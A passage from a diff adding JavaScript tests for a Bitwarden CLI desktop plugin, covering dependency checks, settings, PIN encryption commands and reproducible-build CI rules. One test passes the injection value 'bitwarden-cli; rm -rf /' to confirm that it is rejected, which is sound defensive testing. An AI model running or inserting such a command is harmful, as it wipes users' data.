"bw=0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +const missing = Model.missingRequired(noBw) +check("missing bw is reported as required", + missing.length === 1 && missing[0].key === "bw" && missing[0].pkg === "bitwarden-cli", + `got [${missing.map(d => d.key + ":" + d.pkg)}]`) +check("missing bw is not marked installed", byKey(noBw, "bw").installed === false, "expected false") +const noJq = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +const missingNoJq = Model.missingRequired(noJq) +check("missing jq is reported as required", + missingNoJq.length === 1 && missingNoJq[0].key === "jq" && missingNoJq[0].pkg === "jq", + `got [${missingNoJq.map(d => d.key + ":" + d.pkg)}]`) +check("missing jq does not alter optional dependency semantics", + byKey(noJq, "fprintd").required === false, + JSON.stringify(byKey(noJq, "fprintd"))) +check("supported bw without jq blocks the vault list until setup finishes", + Model.vaultListMode(noJq) === "blocked" + && Model.vaultListBlockedMessage(noJq).includes("jq"), + `${Model.vaultListMode(noJq)} / ${Model.vaultListBlockedMessage(noJq)}`) + +// A whole-list failure on a CLI that predates the malformed-SSH-item fix is the +// one case where the panel can say something useful about a read it cannot +// repair. The attribution comes from the probed version, never from the failed +// read's own output, which can quote decrypted vault material. +const rawCliFailure = "TypeError: Cannot read properties of null (reading 'keyFingerprint') for item work-ssh" +check("a list failure on a pre-2026.8.0 CLI names the release that fixes it", + Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("2026.8.0"), + Model.vaultListFailureMessage(rawCliFailure, all, "sanitized")) +check("the failure message never echoes raw CLI output", + !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("keyFingerprint") + && !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("TypeError") + && !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("work-ssh"), + Model.vaultListFailureMessage(rawCliFailure, all, "sanitized")) +const fixedCli = Model.parseDependencies( + "bw=1\nbw_version=2026.8.0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("a list failure on a fixed CLI does not blame the SSH-item bug", + !Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized").includes("2026.8.0"), + Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized")) +check("a blocked list reports the missing tool instead of the SSH hint", + Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("jq") + && !Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("2026.8.0"), + Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked")) + +// An optional tool going missing must not trigger the blocking wizard. +const noFprintd = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1") +check("missing optional tool does not block setup", + Model.missingRequired(noFprintd).length === 0, + `got [${Model.missingRequired(noFprintd).map(d => d.key)}]`) + +// --- fprintd installed but no finger enrolled ------------------------------- +const noFinger = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1") +check("fprintd on PATH without an enrolled finger is installed-but-not-ready", + byKey(noFinger, "fprintd").installed === true && byKey(noFinger, "fprintd").ready === false, + `installed=${byKey(noFinger, "fprintd").installed} ready=${byKey(noFinger, "fprintd").ready}`) + +const oldBw = Model.parseDependencies( + "bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("older bw versions remain installed but are marked unsupported for SSH", + byKey(oldBw, "bw").installed === true + && byKey(oldBw, "bw").version === "2025.1.1" + && oldBw.sshCliStatus === "unsupported" + && byKey(oldBw, "bw").note.includes(Model.sshCliMinVersion()), + JSON.stringify({ bw: byKey(oldBw, "bw"), sshCliStatus: oldBw.sshCliStatus })) +check("older bw with jq still uses the sanitized list path for ordinary items", + Model.vaultListMode(oldBw) === "sanitized", + JSON.stringify({ mode: Model.vaultListMode(oldBw), deps: oldBw })) + +const unknownBw = Model.parseDependencies( + "bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("unknown bw versions are reported separately from unsupported ones", + byKey(unknownBw, "bw").installed === true + && byKey(unknownBw, "bw").version === "" + && unknownBw.sshCliStatus === "unknown", + JSON.stringify({ bw: byKey(unknownBw, "bw"), sshCliStatus: unknownBw.sshCliStatus })) +check("unknown bw with jq still uses the sanitized list path and never falls back to a raw legacy read", + Model.vaultListMode(unknownBw) === "sanitized", + JSON.stringify({ mode: Model.vaultListMode(unknownBw), deps: unknownBw })) + +// --- malformed / empty probe output ----------------------------------------- +for (const [label, raw] of [["empty", ""], ["garbage", "???\n=\nbw\n"]]) { + const d = Model.parseDependencies(raw) + check(`${label} probe output degrades to all-missing`, + d.items.length === Model.DEPENDENCIES.length && d.items.every(i => !i.installed), + `got ${d.items.length} items, installed=[${d.items.filter(i => i.installed).map(i => i.key)}]`) +} + +// --- settings writer -------------------------------------------------------- +// Values must reach shell.json as real JSON types, not strings, or `setting()` +// hands the panel a string where it expects a number or a bool. +// The writer runs through bash so its diagnostic stderr can be capped, so the +// assertions read the script rather than an argv list. +const writeScript = (k, v, t) => Model.settingWriteCommand(k, v, t)[2] + +// --- colorized menu-bar icon setting ---------------------------------------- +const colorizeIcon = Model.SETTINGS_SCHEMA.find(e => e.key === "colorizeIcon") +check("colorized icon setting is declared in General", !!colorizeIcon + && colorizeIcon.group === "general" + && colorizeIcon.type === "bool", + JSON.stringify(colorizeIcon)) +check("colorized icon defaults off", !!colorizeIcon && colorizeIcon.defaultValue === false, + JSON.stringify(colorizeIcon)) +check("colorized icon accepts only actual booleans", + Model.boolSetting("colorizeIcon", true) === true + && Model.boolSetting("colorizeIcon", false) === false + && Model.boolSetting("colorizeIcon", "true") === false + && Model.boolSetting("colorizeIcon", 1) === false, + "malformed colorizeIcon input was accepted") + +check("boolean settings accept actual JSON booleans", + Model.boolSetting("fingerprintUnlock", true) === true + && Model.boolSetting("fingerprintUnlock", false) === false, + "actual booleans were not preserved") +check("malformed strings cannot enable opt-in credential storage", + Model.boolSetting("fingerprintUnlock", "false") === false + && Model.boolSetting("pinUnlock", "true") === false, + "a string enabled an opt-in unlock method") +check("malformed lock settings fail back to their secure defaults", + Model.boolSetting("lockOnScreenLock", "false") === true + && Model.boolSetting("lockOnSuspend", 0) === true, + "a malformed setting disabled locking") + +check("int setting is written with --json", + writeScript("autoLockMinutes", 15, "int") + .includes("omarchy bar set io.github.elevate08.qs-bitwarden-cli 'autoLockMinutes' '15' --json"), + writeScript("autoLockMinutes", 15, "int")) + +for (const [v, want] of [[true, "true"], [false, "false"]]) { + const script = writeScript("closeOnCopy", v, "bool") + check(`bool ${v} is written as ${want}`, + script.includes(`'closeOnCopy' '${want}' --json`), `got ${script}`) +} +check("a zero int is written as 0, not dropped", + writeScript("autoLockMinutes", 0, "int").includes("'autoLockMinutes' '0' --json"), + writeScript("autoLockMinutes", 0, "int")) + +// stderr from `omarchy bar set` is collected by the panel, so it needs the same +// producer-side cap as every other stream the long-lived shell buffers. +check("setting writer caps its diagnostic stderr", + writeScript("autoLockMinutes", 15, "int").includes("exec 2> >(head -c 8192 >&2)"), + writeScript("autoLockMinutes", 15, "int")) + +// Every schema key must exist in the manifest, or the settings screen would +// write a key the plugin never reads. +const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8")) +const manifestKeys = new Set(manifest.barWidget.schema.map(e => e.key)) +for (const entry of Model.SETTINGS_SCHEMA) { + check(`schema key '${entry.key}' exists in manifest.json`, + manifestKeys.has(entry.key), `manifest has [${[...manifestKeys]}]`) +} +const colorizeManifest = manifest.barWidget.schema.find(e => e.key === "colorizeIcon") +check("manifest colorized icon schema matches the model contract", + !!colorizeManifest + && colorizeManifest.type === "boolean" + && colorizeManifest.label === colorizeIcon.label + && colorizeManifest.description === colorizeIcon.description + && colorizeManifest.defaultValue === false + && manifest.barWidget.defaults.colorizeIcon === false, + JSON.stringify({ model: colorizeIcon, manifest: colorizeManifest })) + +// --- install command -------------------------------------------------------- +check("no packages yields no command", Model.installPackagesCommand([]) === null, "expected null") +const inst = Model.installPackagesCommand(["bitwarden-cli", "wl-clipboard"]) +check("install goes through Omarchy's own floating-terminal installer", + inst.slice(0, 3).join(" ") === "omarchy install app" && inst[4] === "bitwarden-cli wl-clipboard", + inst.join(" ")) + +// The package list lands in an unquoted expansion inside omarchy-install-app, +// so anything that is not a plain package name must not reach it. +check("install refuses a package name that is not one", + Model.installPackagesCommand(["bitwarden-cli; rm -rf /"]) === null, + JSON.stringify(Model.installPackagesCommand(["bitwarden-cli; rm -rf /"]))) + +// The probe must be a single process, not one per tool. +check("dependency probe is one shell invocation", + Model.dependencyCheckCommand()[0] === "bash" && Model.dependencyCheckCommand().length === 3, + JSON.stringify(Model.dependencyCheckCommand().slice(0, 2))) + + +// --- settings grouping ------------------------------------------------------ +const grouped = Model.groupedSettings() +check("grouping keeps every setting", + grouped.length === Model.SETTINGS_SCHEMA.length, + `${grouped.length} vs ${Model.SETTINGS_SCHEMA.length}`) +check("exactly one header per group", + grouped.filter(e => e.groupLabel !== "").length === Model.SETTINGS_GROUPS.length, + `got ${grouped.filter(e => e.groupLabel !== "").length} headers`) +check("entries are contiguous within a group", + JSON.stringify(grouped.map(e => e.group)) === + JSON.stringify(grouped.map(e => e.group).slice().sort( + (a, b) => Model.SETTINGS_GROUPS.findIndex(g => g.id === a) - Model.SETTINGS_GROUPS.findIndex(g => g.id === b))), + grouped.map(e => e.group).join(",")) +check("grouping does not mutate the schema", + Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated") + +// --- PIN validation --------------------------------------------------------- +check("minimum PIN length is 4", Model.pinMinLength() === 4, String(Model.pinMinLength())) +check("recommended PIN length is 6", Model.pinRecommendedLength() === 6, String(Model.pinRecommendedLength())) + +// A short PIN is allowed -- the point is that it is flagged, not blocked. +check("a 4-digit PIN still validates", Model.validatePin("1234", "1234") === "", Model.validatePin("1234", "1234")) +check("a 5-digit PIN still validates", Model.validatePin("12345", "12345") === "", Model.validatePin("12345", "12345")) +check("but 4 digits is flagged weak", Model.isPinWeak("1234"), "expected weak") +check("and 5 digits is flagged weak", Model.isPinWeak("12345"), "expected weak") +check("6 digits is not flagged", !Model.isPinWeak("123456"), Model.pinWeakWarning("123456")) +check("longer than 6 is not flagged", !Model.isPinWeak("1234567890"), Model.pinWeakWarning("1234567890")) + +// No warning while still typing towards a good PIN, or it would flash on +// every keystroke from the first digit onwards. +check("nothing is flagged before the floor is even reached", + !Model.isPinWeak("") && !Model.isPinWeak("1") && !Model.isPinWeak("123"), + "expected no warning below the minimum") + +// The warning has to carry the actual number, not a vague 'weak'. +check("the warning names the search space for 4 digits", + Model.pinWeakWarning("1234").includes("10,000") && Model.pinWeakWarning("1234").includes("4-digit"), + Model.pinWeakWarning("1234")) +check("the warning names the search space for 5 digits", + Model.pinWeakWarning("12345").includes("100,000"), Model.pinWeakWarning("12345")) +check("the warning points at the recommendation", + Model.pinWeakWarning("1234").includes("6 or more"), Model.pinWeakWarning("1234")) +for (const [pin, confirm, wantErr] of [ + ["123", "123", true], // too short + ["1234", "1234", false], // the minimum is accepted + ["12345678901234", "12345678901234", false], // longer is allowed, no upper bound + ["12a4", "12a4", true], // non-digits refused + ["", "", true], + ["1234", "4321", true], // mismatch +]) { + const err = Model.validatePin(pin, confirm) + check(`validatePin(${JSON.stringify(pin)}, ${JSON.stringify(confirm)})`, + (err !== "") === wantErr, `err=${JSON.stringify(err)}`) +} +check("confirm is optional when omitted", Model.validatePin("1234") === "", Model.validatePin("1234")) + +// --- PIN crypto command shape ---------------------------------------------- +// The whole point of PIN unlock over fingerprint unlock is that the keyring +// holds ciphertext, not the master password. Guard that property. +const store = Model.pinStoreCommand()[2] +check("store derives a key from the PIN rather than saving it", + store.includes("openssl enc") && store.includes("-pbkdf2") && store.includes("env:QSBW_PIN"), store) +check("store uses a high iteration count", + /-iter\s+(\d+)/.test(store) && Number(store.match(/-iter\s+(\d+)/)[1]) >= 600000, store) +check("store pins PBKDF2 to SHA-256 instead of relying on an OpenSSL default", + store.includes("-md sha256"), store) +check("store salts the ciphertext", store.includes("-salt"), store) +check("store reports encryption failures instead of saving an empty blob", + store.includes("set -o pipefail"), store) +check("store pipes straight into the keyring, never through argv", + store.includes("secret-tool store") && !store.includes("$QSBW_SECRET\" secret-tool"), store) +check("neither PIN nor secret appears as a literal argument", + !store.includes("--pass ") && store.includes("-pass env:"), store) + +const unlock = Model.pinUnlockCommand()[2] +check("unlock decrypts with the PIN-derived key", + unlock.includes("openssl enc -d") && unlock.includes("env:QSBW_PIN"), unlock) +check("unlock fails loudly when the lookup fails (pipefail)", + unlock.includes("set -o pipefail"), unlock) +check("unlock iteration count matches store", + unlock.match(/-iter\s+(\d+)/)[1] === store.match(/-iter\s+(\d+)/)[1], + `${unlock.match(/-iter\s+(\d+)/)[1]} vs ${store.match(/-iter\s+(\d+)/)[1]}`) +check("unlock uses the same explicit PBKDF2 digest as store", + unlock.includes("-md sha256"), unlock) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-artifact.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-artifact.test.js new file mode 100644 index 0000000..d34a831 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-artifact.test.js @@ -0,0 +1,395 @@ +#!/usr/bin/env node +// The helper ships as committed bytes, which is only defensible if anyone can +// rebuild them from the committed source. These tests guard the parts of that +// promise which rot silently: a digest that drifts between the build script +// and the workflow, an image pinned by tag instead of digest, a build that +// would claim reproducibility it cannot support, or a toolchain pin nothing +// actually enforces. +// +// They deliberately do not run a build. The build needs a container this +// machine may not have; what can be checked here is that the definition is +// coherent and refuses the right things. +// +// node tests/ssh-agent-artifact.test.js + +const fs = require("fs") +const path = require("path") +const { spawnSync } = require("child_process") + +const repoRoot = path.join(__dirname, "..") +const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8") + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +const script = read("scripts/build-agent.sh") +const workflow = read(".github/workflows/agent-build.yml") +const cargoConfig = read("agent/.cargo/config.toml") +const toolchain = read("agent/rust-toolchain.toml") + +// ------------------------------------------------------------------------- +// The pinned environment is pinned, and pinned to the same thing everywhere +// ------------------------------------------------------------------------- + +const DIGEST_RE = /rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})/g +const scriptPin = /PINNED_IMAGE="rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})"/.exec(script) +check("the build script pins an image by digest", !!scriptPin, + "no digest-pinned PINNED_IMAGE; a tag is a moving pointer") + +const workflowPins = [...workflow.matchAll(DIGEST_RE)] +check("every workflow job pins its container by digest", workflowPins.length >= 1, + "no digest-pinned container image in the workflow") + +if (scriptPin && workflowPins.length) { + const unique = new Set(workflowPins.map(m => m[3])) + eq("the workflow pins exactly one image digest", unique.size, 1) + // Drift between these two is the failure this file mainly exists to catch: + // CI would keep passing while the documented local build produced other bytes. + check("the script and the workflow pin the same digest", + unique.has(scriptPin[3]), + `script ${scriptPin[3]} vs workflow ${[...unique].join(", ")}`) +} + +// An image referenced anywhere by tag alone defeats the point. +const looseTag = /image:\s*rust:[0-9.]+-\w+\s*$/m.test(workflow) +check("no workflow image is referenced by tag alone", !looseTag, + "a tag-only image reference would drift underneath an unchanged repository") + +// The container's Rust must be the Rust the repository pins. +const pinnedChannel = /channel\s*=\s*"([^"]+)"/.exec(toolchain) +check("the toolchain file pins an exact channel", + !!pinnedChannel && /^\d+\.\d+\.\d+$/.test(pinnedChannel[1]), + pinnedChannel ? pinnedChannel[1] : "no channel") +if (pinnedChannel && scriptPin) { + eq("the pinned image carries the pinned Rust version", scriptPin[1], pinnedChannel[1]) +} +check("CI verifies the container's Rust matches the pin at run time", + /rust-toolchain\.toml[\s\S]{0,400}?rustc --version/.test(workflow) + || /pinned="?\$\(grep[\s\S]{0,200}?rust-toolchain\.toml/.test(workflow), + "nothing checks the container's Rust against rust-toolchain.toml") + +// ------------------------------------------------------------------------- +// The build inputs the design requires +// ------------------------------------------------------------------------- + +check("the build is locked to the committed dependency set", + /cargo build[^\n]*--locked/.test(script), "the build does not pass --locked") +check("the target is fixed", + /SUPPORTED_TARGET="x86_64-unknown-linux-gnu"/.test(script), "no fixed target") +check("the source path is remapped out of the binary", + /--remap-path-prefix=%s=\/src/.test(script), "the source path is not remapped") +check("the registry path is remapped too", + /--remap-path-prefix=%s\/registry=\/registry/.test(script), + "the registry path is the one that usually leaks, and it is not remapped") +check("the release profile strips symbols", + /strip\s*=\s*"symbols"/.test(read("agent/Cargo.toml")), + "the release profile does not strip") + +// rustc embeds no build timestamp and ignores SOURCE_DATE_EPOCH, so listing it +// as the mechanism would be cargo-culting rather than pinning. +check("SOURCE_DATE_EPOCH is not claimed as the mechanism", + !/SOURCE_DATE_EPOCH=/.test(script), "SOURCE_DATE_EPOCH is set as though it mattered here") + +// A binary tracked by the commit that names it cannot be rebuilt from that +// commit -- the SHA would have to be known before it exists. +check("no git commit is embedded in the artifact", + !/GIT_(COMMIT|SHA)|git rev-parse/.test(script), + "embedding the commit makes the artifact circular") + +// An actual assignment, not the comment explaining why there isn't one: +// rustflags set here are silently replaced when RUSTFLAGS is in the +// environment, which would drop the path remaps without any error. +check("the cargo config sets no rustflags for the environment to replace", + !/^\s*rustflags\s*=/m.test(cargoConfig), + "config.toml assigns rustflags, which RUSTFLAGS in the environment would silently drop") + +// ------------------------------------------------------------------------- +// What the script refuses +// ------------------------------------------------------------------------- + +const run = (...args) => spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh"), ...args], + { encoding: "utf8", env: Object.assign({}, process.env, { PATH: process.env.PATH }) }) + +eq("--help succeeds", run("--help").status, 0) +eq("an unknown argument is refused", run("--bogus").status, 1) + +const wrongTarget = spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh")], + { encoding: "utf8", env: Object.assign({}, process.env, { CARGO_BUILD_TARGET: "aarch64-unknown-linux-gnu" }) }) +eq("an unsupported target is refused", wrongTarget.status, 1) +check("the refusal names the target", /aarch64/.test(wrongTarget.stderr), wrongTarget.stderr.slice(0, 160)) + +// The pinned environment is entered, not started: CI runs this script inside +// the image, where no container runtime exists. Conflating "am I pinned" with +// "can I start a container" made the script refuse in the one place it was +// written for, so both halves are pinned down here. +check("the script recognises being inside the pinned environment", + /in_pinned_environment\(\)/.test(script) && /QSBW_PINNED_BUILD/.test(script), + "the script cannot tell it is already in the pinned image") +check("the workflow tells the script it is in the pinned environment", + /QSBW_PINNED_BUILD:\s*'1'/.test(workflow), + "CI runs in the pinned image but never says so") +check("a claim of being pinned is verified, not trusted", + /rust-toolchain\.toml[\s\S]{0,400}?fail /.test(script) && /debian[\s\S]{0,200}?bookworm/.test(script), + "the environment claim is taken on trust") +check("a container runtime is used to enter the image, not required to be in it", + /reexec_in_container/.test(script), + "no path re-executes the build inside the pinned image") + +// Asked through --explain rather than by running it. Invoking +// --verify-reproducible here would pull a 700MB image and run two full +// release builds just to observe a decision -- which is what this file's +// header promises not to do, and what it was doing on any machine with a +// container runtime until CI pointed it out. +const explain = run("--explain") +eq("--explain reports without acting", explain.status, 0) +check("--explain names the environment it would build in", + /^environment: /m.test(explain.stdout), explain.stdout.slice(0, 200)) +check("--explain is honest about an unpinned environment", + !/not pinned and no container runtime/.test(explain.stdout) + || /would not be reproducible/.test(explain.stdout), + explain.stdout.slice(0, 200)) +check("--explain pulls nothing and builds nothing", + explain.stdout.length < 500 && !/Compiling|Unable to find image/.test(explain.stdout + explain.stderr), + explain.stdout.slice(0, 200)) + +// The refusal text itself is checked in the source, so that asserting it +// costs no build anywhere. +check("the refusal explains itself rather than failing opaquely", + /not in the pinned build environment[\s\S]{0,300}?would not be reproducible/.test(script), + "the refusal message does not say why") + +check("an unpinned build is possible but must be asked for", + /--allow-unpinned/.test(script) && /not reproducible/.test(script), + "no way to build without a container, or no warning that it is not the release artifact") + +// The comparison is only meaningful from inside the pinned image: the tracked +// bytes were produced there, and it pins glibc and binutils as well as the +// compiler. Run against a host toolchain it reports drift that is not drift -- +// which, for the mode that exists to be a PR gate, is the worst way to fail. +check("--compare-tracked enters the pinned image like every other build mode", + /compare_tracked\(\)[\s\S]{0,700}?in_pinned_environment[\s\S]{0,300}?reexec_in_container "\$runtime" --compare-tracked/.test(script), + "the drift check builds with whatever toolchain the host happens to have") +check("and refuses rather than guessing when it cannot enter one", + /compare_tracked\(\)[\s\S]{0,1100}?fail "not in the pinned build environment/.test(script), + "an unpinned comparison reports a mismatch it cannot stand behind") + +check("--compare-tracked reports drift without writing to the repository", + /compare_tracked\(\)[\s\S]{0,1400}?mktemp -d/.test(script) + && !/compare_tracked\(\)[\s\S]{0,1400}?install -m/.test(script), + "the drift check writes into the repository") + +// Every mode must build the same way. They did not: the release build put its +// target directory outside the remapped source root while the comparison +// modes put it inside, so the bytes CI offered as the candidate differed from +// the bytes --verify-reproducible had just declared identical. Committing +// those would have made the first --compare-tracked fail, or passed by luck +// and shipped a binary nobody could reproduce. +check("every build mode goes through one builder", + (script.match(/build_clean_copy /g) || []).length >= 3, + "the modes do not share a build procedure, so they can diverge again") +check("the target directory lives inside the remapped source root", + /CARGO_TARGET_DIR="\$src\/target"/.test(script), + "a target directory outside the remap embeds an unremapped path in the binary") +check("no mode passes its own target directory", + !/build_into "[^"]*" "[^"]*"/.test(script), + "a per-mode target directory is how the two paths diverged before") + +// The artifact paths and the flag name are what Task 18 and its verification +// step refer to. They were wrong once -- a flat bin/ and a --check flag the +// task list never mentions -- and the cost of that is only paid later, when +// the binary is committed and everything has to be moved. +check("the artifact is architecture-scoped", + /OUTPUT_ARCH="x86_64-linux"/.test(script) && /OUTPUT_DIR="\$REPO_ROOT\/bin\/\$OUTPUT_ARCH"/.test(script), + "a flat bin/ has to be restructured the day a second target appears") +check("checksums go to one SHA256SUMS, not a sidecar per binary", + /SUMS_FILE="\$REPO_ROOT\/bin\/SHA256SUMS"/.test(script), + "no bin/SHA256SUMS") +check("the checksum file is written relative to bin/ so sha256sum -c works there", + /cd "\$REPO_ROOT\/bin" && sha256sum "\$OUTPUT_ARCH\/\$OUTPUT_NAME"/.test(script), + "absolute or checkout-relative paths in SHA256SUMS would only verify here") +check("the usage text lists the flags that exist", + /--compare-tracked/.test(script.split("USAGE")[1] || "") && !/\[--check\]/.test(script), + "usage advertises a flag the script does not accept") + +// ------------------------------------------------------------------------- +// CI shape +// ------------------------------------------------------------------------- + +check("CI compares the tracked binary against a clean rebuild", + /--compare-tracked/.test(workflow), + "nothing verifies that the committed bytes are what this source builds") +check("the comparison is skipped only when no binary is tracked", + /if \[ ! -f bin\/x86_64-linux\/qs-bitwarden-ssh-agent \]/.test(workflow), + "the comparison could pass by absence rather than by matching") +// `./scripts/build-agent.sh` with no flags writes bin/ and bin/SHA256SUMS. +// Run the comparison after it and the tracked binary it reads back is the +// candidate that step just wrote -- so it compares a build with itself and +// passes whatever the committed bytes are. That is not hypothetical: it is +// what this workflow did until a stale binary sailed through a green run. +const compareAt = workflow.indexOf("name: Compare the tracked binary") +const candidateAt = workflow.indexOf("name: Build the candidate artifact") +check("the comparison runs before anything overwrites bin/", + compareAt > 0 && candidateAt > 0 && compareAt < candidateAt, + `compare step at ${compareAt}, candidate build at ${candidateAt}`) +// A drifted binary is when the candidate matters most, so the upload has to +// happen before the job gives up on the run. +check("a drifted binary still uploads the candidate that fixes it", + workflow.indexOf("name: Upload the candidate") < workflow.indexOf("name: Fail if the tracked binary drifted"), + "the job fails before the bytes a maintainer needs are available") +check("drift is still fatal on a same-repository run", + /steps\.compare\.outputs\.drift == 'yes'/.test(workflow) + && /github\.event\.pull_request\.head\.repo\.fork != true/.test(workflow), + "recording drift replaced failing on it") + +// These gates ran on neither the branch nor the files that needed them: the +// trigger still named the SSH agent's feature branch after that work reached +// master, and a paths filter of agent/** kept the panel -- Panel.qml, +// BitwardenModel.js, tests/ -- entirely outside the workflow. PR #13 merged +// with `no checks reported`. +// +// This used to require master on both triggers. It no longer does, and the +// guarantee it was protecting has not been given up -- it moved. Work reaches +// master only by merging a release branch, and master's protection requires +// that branch to be up to date first, so the tree master ends up with is the +// tree these gates already passed on the release branch at the commit they +// passed on. Re-running on the master push would check the same tree twice. +// +// So what has to be true is that the release branches really are gated, which +// the next check asserts, and that master is not silently left with nothing at +// all -- it gets publish-on-master.yml, asserted below. Master being absent +// from these triggers is deliberate and is pinned here so that reintroducing +// it is a decision rather than a reflex. +check("master is deliberately not gated here; the release branch it comes from is", + !/push:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow) + && !/pull_request:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow), + "master is back in these triggers -- if that is intended, this check and the " + + "trigger comment both need updating, because it means the same tree is checked twice") +// A release is assembled on a release branch before it is tagged, so the same +// gates have to cover it. Listing master alone let a PR into `release/1.7.0` +// merge with `no checks reported` -- PR #13's hole reached through the base +// branch instead of through a paths filter. +check("CI runs against release branches too, where a release is assembled", + /push:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow) + && /pull_request:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow), + "the workflow does not run on release-branch pushes and PRs into them") +// Master is not unwatched, it just has exactly one job. A release is built, +// verified and attested on its release branch and left as a draft; reaching +// master is what publishes it. If that workflow ever starts building or +// testing, the reason master was taken off the gates above stops holding. +const publish = read(".github/workflows/publish-on-master.yml") +check("something does run on a master push, and it is the publish", + /push:\s*\n\s*branches:\s*\[master\]/.test(publish), + "nothing runs on master at all now") +check("the publish only publishes -- it does not build or test", + !/cargo (build|test|clippy)|npm |node |qmltestrunner|build-agent\.sh/.test(publish), + "the master workflow has grown work that belongs on the release branch") +check("the publish is the only thing granted write access", + /permissions:\s*\n\s*contents:\s*write/.test(publish) + && /permissions:\s*\n\s*contents:\s*read/.test(workflow), + "write access is not where it was expected") +// Publishing from the tag announced a version before master contained it. +check("the tag build leaves the release as a draft for master to publish", + /gh release create "\$TAG"[^\n]*--draft/.test(read(".github/workflows/release.yml")), + "release.yml publishes at tag time again, so master's merge is no longer what releases") + +check("no paths filter decides which changes are checked", + !/^\s*paths:/m.test(workflow), + "a paths filter is how the panel went unchecked; these gates are cheap enough to always run") +check("the workflow is read-only", + /permissions:\s*\n\s*contents:\s*read/.test(workflow), "the workflow requests more than read access") +// A tag is a moving pointer. Pinning actions by commit is the same argument +// as pinning the build image by digest, applied to the code that runs the +// build -- and a workflow that establishes trust in bytes should not itself +// depend on a mutable reference. +const actionUses = [...workflow.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)] +check("every third-party action is used at least once", actionUses.length > 0, "no actions used") +check("every action is pinned to a full commit SHA", + actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)), + actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", ")) +check("each pin says which release it is, for a human", + (workflow.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length, + "a bare SHA tells a reviewer nothing about what version it is") + +// The dependency tree of a key-holding binary was reviewed once in writing; +// this is what stops that review going stale. +const deny = read("deny.toml") +check("CI enforces the dependency policy", /cargo deny/.test(workflow), "nothing runs cargo-deny") +// cargo-deny discovers its config beside the manifest or in the working +// directory. Running it from agent/ made it fall back to built-in defaults +// and report success while reading none of this policy. +check("the policy file is named explicitly rather than discovered", + /cargo deny[^\n]*--config deny\.toml/.test(workflow), + "a discovered config can silently be the wrong one, or none at all") +// apt answers a failed index with a warning and exit 0. That is how a 502 +// from the archive passed `apt-get update` and came back four minutes later +// as `Unable to locate package` on six Qt packages -- the wrong error, in the +// wrong step, about the wrong thing. Error-Mode=any is what makes a mirror +// outage report itself as one. +check("a failed package index fails the step that fetched it", + /apt-get update[^\n]*APT::Update::Error-Mode=any/.test(workflow), + "apt warns and exits 0 on a failed index, so the real error surfaces later and misattributed") +check("apt packages are not pinned by version string", + !/apt-get install[^\n]*=[0-9]/.test(workflow), + "hard version pins break when Ubuntu drops the superseded package") +check("advisories are denied rather than warned about", + /yanked = "deny"/.test(deny), "yanked crates are tolerated") +check("the one accepted advisory says why and where it is argued", + /RUSTSEC-2023-0071[\s\S]{0,400}?0001-ssh-agent-dependencies/.test(deny), + "an ignored advisory with no recorded reasoning is just a silenced alarm") +check("only permissive licences are allowed", + /allow = \[[\s\S]*?"MIT"/.test(deny) && !/GPL/.test(deny.split("[bans]")[0]), + "a copyleft dependency would change this plugin's own distribution terms") +check("only crates.io is permitted as a source", + /unknown-git = "deny"/.test(deny) && /unknown-registry = "deny"/.test(deny), + "a git dependency is a moving target no lockfile review covers") + +// The panel's JavaScript runs in QML's engine, not Node's, and they differ. +check("the QML tests run in CI", + /qmltestrunner/.test(workflow), "the QML suite passes locally and never runs in CI") +// --no-install-recommends drops what QtQuick only recommends, and +// 